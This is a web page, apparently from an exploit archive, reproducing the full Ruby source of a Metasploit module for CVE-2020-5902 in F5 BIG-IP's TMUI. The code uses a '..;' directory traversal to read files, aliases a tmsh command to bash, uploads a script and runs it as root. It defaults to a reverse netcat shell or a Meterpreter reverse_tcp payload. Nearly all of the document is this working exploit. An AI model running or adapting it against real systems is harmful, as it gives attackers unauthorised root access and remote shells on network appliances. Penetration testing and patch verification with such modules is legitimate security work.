Headline
F5 BIG-IP TMUI Directory Traversal / File Upload / Code Execution
This Metasploit module exploits a directory traversal in F5’s BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user. Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. Tested against the VMware OVA release of 14.1.2.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Deprecated moved_from 'exploit/linux/http/f5_bigip_tmui_rce' def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE', 'Description' => %q{ This module exploits a directory traversal in F5's BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user. Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Sorry! Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. Tested against the VMware OVA release of 14.1.2. }, 'Author' => [ 'Mikhail Klyuchnikov', # Discovery 'wvu' # Analysis and exploit ], 'References' => [ ['CVE', '2020-5902'], ['URL', 'https://support.f5.com/csp/article/K52145254'], ['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/'] ], 'DisclosureDate' => '2020-06-30', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 5 }, 'Notes' => { 'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service 'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) ]) end def check res = send_request_cgi( 'method' => 'POST', 'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'), 'vars_post' => { 'fileName' => '/etc/f5-release' } ) unless res return CheckCode::Unknown('Target did not respond to check.') end unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body return CheckCode::Safe('Target did not respond with BIG-IP version.') end # If we got here, the directory traversal was successful CheckCode::Vulnerable("Target is running BIG-IP #{version}.") end def exploit create_alias print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(temp: datastore['WritableDir']) end ensure delete_alias if @created_alias end def create_alias print_status('Creating alias list=bash') res = send_request_cgi( 'method' => 'POST', 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'), 'vars_post' => { 'command' => 'create cli alias private list command bash' } ) if res.nil? || (error = parse_error(res)) case error when /private "list" \(list\) already exists/ print_error('Alias "list" already exists, deleting it') delete_alias # Try to create the alias again return create_alias when /java\.lang\.NullPointerException/ print_error('Encountered java.lang.NullPointerException, retrying!') # XXX: Try to create the alias until we're successful return create_alias end fail_with(Failure::UnexpectedReply, "Failed to create alias list=bash#{error}") end @created_alias = true print_good('Successfully created alias list=bash') end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") upload_script(cmd) execute_script end def upload_script(cmd) print_status("Uploading #{script_path}") res = send_request_cgi( 'method' => 'POST', 'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'), 'vars_post' => { 'fileName' => script_path, 'content' => cmd } ) if res.nil? || (error = parse_error(res)) fail_with(Failure::UnexpectedReply, "Failed to upload #{script_path}#{error}") end register_file_for_cleanup(script_path) print_good("Successfully uploaded #{script_path}") end def execute_script print_status("Executing #{script_path}") res = send_request_cgi({ 'method' => 'POST', 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'), 'vars_post' => { 'command' => "list #{script_path}" } }, 3.5) # No response may mean the service is blocking on payload execution return unless res && (error = parse_error(res)) case error when /unexpected argument/ print_error('Alias "list" does not exist, attempting to create it again') create_alias # Try to execute the script again... smdh return execute_script when /java\.lang\.NullPointerException/ print_error('Encountered java.lang.NullPointerException, retrying!') # XXX: Try to execute the script until we're successful return execute_script end print_error("Failed to execute #{script_path}#{error}") end def delete_alias print_status('Deleting alias list=bash') res = send_request_cgi( 'method' => 'POST', 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'), 'vars_post' => { 'command' => 'delete cli alias private list' } ) if res.nil? || (error = parse_error(res)) case error when /user alias \(list admin\) was not found/ print_good('Alias "list" does not exist or was already deleted') return when /java\.lang\.NullPointerException/ print_error('Encountered java.lang.NullPointerException, retrying!') # XXX: Try to delete the alias until we're successful return delete_alias end print_warning("Failed to delete alias list=bash#{error}") return end print_good('Successfully deleted alias list=bash') end def parse_error(res) return unless res error = case res.code when 200 res.get_json_document['error'] when 500 # This is usually a java.lang.NullPointerException stack trace res.get_html_document.at('//pre')&.text else res.body end return if error.blank? ":\n#{error.strip}" end def dir_trav(path) # PoC courtesy of the referenced F5 advisory: <LocationMatch ".*\.\.;.*"> normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path) end def script_path @script_path ||= normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42)) endend